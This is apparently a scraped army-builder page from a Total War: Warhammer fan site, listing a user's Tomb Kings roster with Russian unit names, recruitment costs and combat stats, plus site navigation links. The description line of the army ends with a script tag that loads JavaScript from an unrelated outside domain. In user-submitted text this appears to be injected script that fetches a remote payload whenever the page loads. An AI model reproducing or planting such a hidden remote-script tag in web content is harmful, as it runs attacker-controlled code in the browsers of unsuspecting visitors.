Left Panel
 
		
			 Последователи Нагаша Army
Последователи Нагаша Army
		Atack of the king
An undead and invincible armyBuild by Lizardmen fan 888 - 2020-03-22 18:48:27
		
 
		
							1
							 
						
					 
						
							1
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							16
							 
						
					 
						
							16
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							12
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							24
							 
						
					 
						
							24
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							24
							 
						
					 
						
							24
							 
						
					 
						
							24
							 
						
					 
						
							1
							 
						
					 
						
							1
							 
						
					 
						
							1
							 
						
					 
						The army of the king destroys everytking<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. | 
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Командование (2) | 2 | 2300 | 0 | 0 | - | - | - | 63 | 790 | 74 | 68 | 125 | 13336 | 140 | |||||
| 1 |  | Царь гробниц (Хемрийский боевой сфинкс) | 1 | 2000 | 0 | 0 | 38 | 490 | 64 | 38 | 95 | 9816 | 80 | ||||||
| 2 |  | Жрец-лич (смерть) | 1 | 300 | 0 | 0 | 25 | 300 | 10 | 30 | 30 | 3520 | 60 | ||||||
| Пехота ближнего боя (19) | 1546 | 17125 | 0 | 0 | - | - | - | 733 | 1860 | 328 | 659 | 480 | 24162 | 881 | |||||
| 3 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 4 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 5 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 6 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 7 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 8 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 9 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 10 |  | Легионы Узириана (воины Нехекары) | 120 | 950 | 0 | 0 | 48 | 42 | 15 | 32 | 0 | 58 | 49 | ||||||
| 11 |  | Ушебти | 16 | 900 | 0 | 0 | 23 | 72 | 18 | 35 | 90 | 508 | 44 | ||||||
| 12 |  | Ушебти | 16 | 900 | 0 | 0 | 23 | 72 | 18 | 35 | 90 | 508 | 44 | ||||||
| 13 |  | Упыри из склепа | 120 | 525 | 0 | 0 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | ||||||
| 14 |  | Упыри из склепа | 120 | 525 | 0 | 0 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | ||||||
| 15 |  | Упыри из склепа | 120 | 525 | 0 | 0 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | ||||||
| 16 |  | Упыри из склепа | 120 | 525 | 0 | 0 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | ||||||
| 17 |  | Падальщик | 24 | 425 | 0 | 0 | 26 | 40 | 12 | 46 | 20 | 210 | 35 | ||||||
| 18 |  | Падальщик | 24 | 425 | 0 | 0 | 26 | 40 | 12 | 46 | 20 | 210 | 35 | ||||||
| 19 |  | Падальщик | 24 | 425 | 0 | 0 | 26 | 40 | 12 | 46 | 20 | 210 | 35 | ||||||
| 20 |  | Иеротитан | 1 | 2000 | 0 | 0 | 56 | 550 | 20 | 45 | 100 | 12620 | 60 | ||||||
| 21 |  | Сфинкс Усекфа (некросфинкс) | 1 | 2350 | 0 | 0 | 61 | 550 | 52 | 50 | 100 | 9180 | 60 | ||||||
| Стрелковая пехота (7) | 613 | 6075 | 0 | 0 | - | 627 | - | - | 151 | 123 | 565 | 53 | 155 | 320 | 13413 | 290 | |||
| 22 |  | Благословенный легион Фахта (лучники-скелеты) | 120 | 675 | 0 | 0 | 11 | 160 | 10.7 | 22 | 14 | 20 | 3 | 19 | 30 | 57 | 40 | ||
| 23 |  | Благословенный легион Фахта (лучники-скелеты) | 120 | 675 | 0 | 0 | 11 | 160 | 10.7 | 22 | 14 | 20 | 3 | 19 | 30 | 57 | 40 | ||
| 24 |  | Благословенный легион Фахта (лучники-скелеты) | 120 | 675 | 0 | 0 | 11 | 160 | 10.7 | 22 | 14 | 20 | 3 | 19 | 30 | 57 | 40 | ||
| 25 |  | Благословенный легион Фахта (лучники-скелеты) | 120 | 675 | 0 | 0 | 11 | 160 | 10.7 | 22 | 14 | 20 | 3 | 19 | 30 | 57 | 40 | ||
| 26 |  | Благословенный легион Фахта (лучники-скелеты) | 120 | 675 | 0 | 0 | 11 | 160 | 10.7 | 22 | 14 | 20 | 3 | 19 | 30 | 57 | 40 | ||
| 27 |  | Ушебти (большие луки) | 12 | 1100 | 0 | 0 | 122 | 255 | 6.1 | 21 | 23 | 65 | 18 | 35 | 90 | 508 | 40 | ||
| 28 |  | Костяной великан | 1 | 1600 | 0 | 0 | 450 | 350 | 6.1 | 20 | 30 | 400 | 20 | 25 | 80 | 12620 | 50 | ||
| Штурмовая конница (10) | 600 | 11875 | 0 | 0 | - | - | - | 345 | 400 | 420 | 365 | 550 | 1265 | 525 | |||||
| 29 |  | Всадники бури Ксара (Всадники Нехекары) | 60 | 900 | 0 | 0 | 43 | 38 | 50 | 50 | 110 | 157 | 65 | ||||||
| 30 |  | Всадники бури Ксара (Всадники Нехекары) | 60 | 900 | 0 | 0 | 43 | 38 | 50 | 50 | 110 | 157 | 65 | ||||||
| 31 |  | Всадники бури Ксара (Всадники Нехекары) | 60 | 900 | 0 | 0 | 43 | 38 | 50 | 50 | 110 | 157 | 65 | ||||||
| 32 |  | Всадники бури Ксара (Всадники Нехекары) | 60 | 900 | 0 | 0 | 43 | 38 | 50 | 50 | 110 | 157 | 65 | ||||||
| 33 |  | Всадники бури Ксара (Всадники Нехекары) | 60 | 900 | 0 | 0 | 43 | 38 | 50 | 50 | 110 | 157 | 65 | ||||||
| 34 |  | Духи сглаза | 60 | 1475 | 0 | 0 | 26 | 42 | 34 | 23 | 0 | 96 | 40 | ||||||
| 35 |  | Духи сглаза | 60 | 1475 | 0 | 0 | 26 | 42 | 34 | 23 | 0 | 96 | 40 | ||||||
| 36 |  | Духи сглаза | 60 | 1475 | 0 | 0 | 26 | 42 | 34 | 23 | 0 | 96 | 40 | ||||||
| 37 |  | Духи сглаза | 60 | 1475 | 0 | 0 | 26 | 42 | 34 | 23 | 0 | 96 | 40 | ||||||
| 38 |  | Духи сглаза | 60 | 1475 | 0 | 0 | 26 | 42 | 34 | 23 | 0 | 96 | 40 | ||||||
| Ударная конница (2) | 48 | 3200 | 0 | 0 | - | - | - | 64 | 110 | 80 | 70 | 220 | 600 | 120 | |||||
| 39 |  | Рыцари Некрополя (алебарды) | 24 | 1600 | 0 | 0 | 32 | 55 | 40 | 35 | 110 | 300 | 60 | ||||||
| 40 |  | Рыцари Некрополя (алебарды) | 24 | 1600 | 0 | 0 | 32 | 55 | 40 | 35 | 110 | 300 | 60 | ||||||
| Subtotal | 2809 | 40575 | 0 | 0 | - | 627 | - | - | 151 | 1328 | 3725 | 955 | 1317 | 1695 | 52776 | 1956 | |||
 
		
	
 English
 English Français
 Français Italiano
 Italiano Deutsch
 Deutsch Español
 Español Čeština
 Čeština Polski
 Polski Türkçe
 Türkçe Português (Brasil)
 Português (Brasil) 한국어
 한국어 简体中文
 简体中文 正體中文
 正體中文


 Support Honga.net or Donations
Support Honga.net or Donations Клан Риктус
Клан Риктус Двор Либараса
Двор Либараса Изгнанники Нехека
Изгнанники Нехека Хемри
Хемри Хар Ганет
Хар Ганет Авелорн
Авелорн Нагарит
Нагарит Флот ужаса
Флот ужаса Пираты Сартозы
Пираты Сартозы Утопленники
Утопленники Благословенный ужас
Благословенный ужас Пробужденные
Пробужденные Культ Сотека
Культ Сотека Тлаква
Тлаква Клан Скрайр
Клан Скрайр Ица
Ица Дух джунглей
Дух джунглей Экспедиция Егермейстера
Экспедиция Егермейстера Рыцари Лионесса
Рыцари Лионесса Хаг Греф
Хаг Греф Клан Эшин
Клан Эшин Ломаные Топоры
Ломаные Топоры Иврессе
Иврессе Рыцари Каледора
Рыцари Каледора Клан Моулдер
Клан Моулдер Вестники Ариэль
Вестники Ариэль Древесное Воинство Скорби
Древесное Воинство Скорби Наггаронд
Наггаронд Культ удовольствий
Культ удовольствий Орден Хранителей Знаний
Орден Хранителей Знаний Эатайн
Эатайн Последний Бастион
Последний Бастион Гексоатль
Гексоатль Клан Пестиленс
Клан Пестиленс Клан Морс
Клан Морс Орда из тысячи пастей
Орда из тысячи пастей Золотой орден
Золотой орден Костетрясы
Костетрясы Легион курганов
Легион курганов Зверолюды (Империи смертных)
Зверолюды (Империи смертных) Талсин (Империи смертных)
Талсин (Империи смертных) Аргвилон (Империи смертных)
Аргвилон (Империи смертных) Клан Ангрунд (Империи смертных)
Клан Ангрунд (Империи смертных) Кривой Месяц (Империи смертных)
Кривой Месяц (Империи смертных) Кровавые Руки (Империи смертных)
Кровавые Руки (Империи смертных) Бордело (Империи смертных)
Бордело (Империи смертных) Куронн (Империи смертных)
Куронн (Империи смертных) Каркассон (Империи смертных)
Каркассон (Империи смертных) Мироходцы (Империи смертных)
Мироходцы (Империи смертных) Зимний Клык (Империи смертных)
Зимний Клык (Империи смертных) Воины Хаоса (Империи смертных)
Воины Хаоса (Империи смертных) Караз-а-Карак (Империи смертных)
Караз-а-Карак (Империи смертных) Карак Кадрин (Империи смертных)
Карак Кадрин (Империи смертных) Рейкланд (Империи смертных)
Рейкланд (Империи смертных) Жосткие Ребята Гримгора (Империи смертных)
Жосткие Ребята Гримгора (Империи смертных) Сильвания (Империи смертных)
Сильвания (Империи смертных) Фон Карштайны (Империи смертных)
Фон Карштайны (Империи смертных)
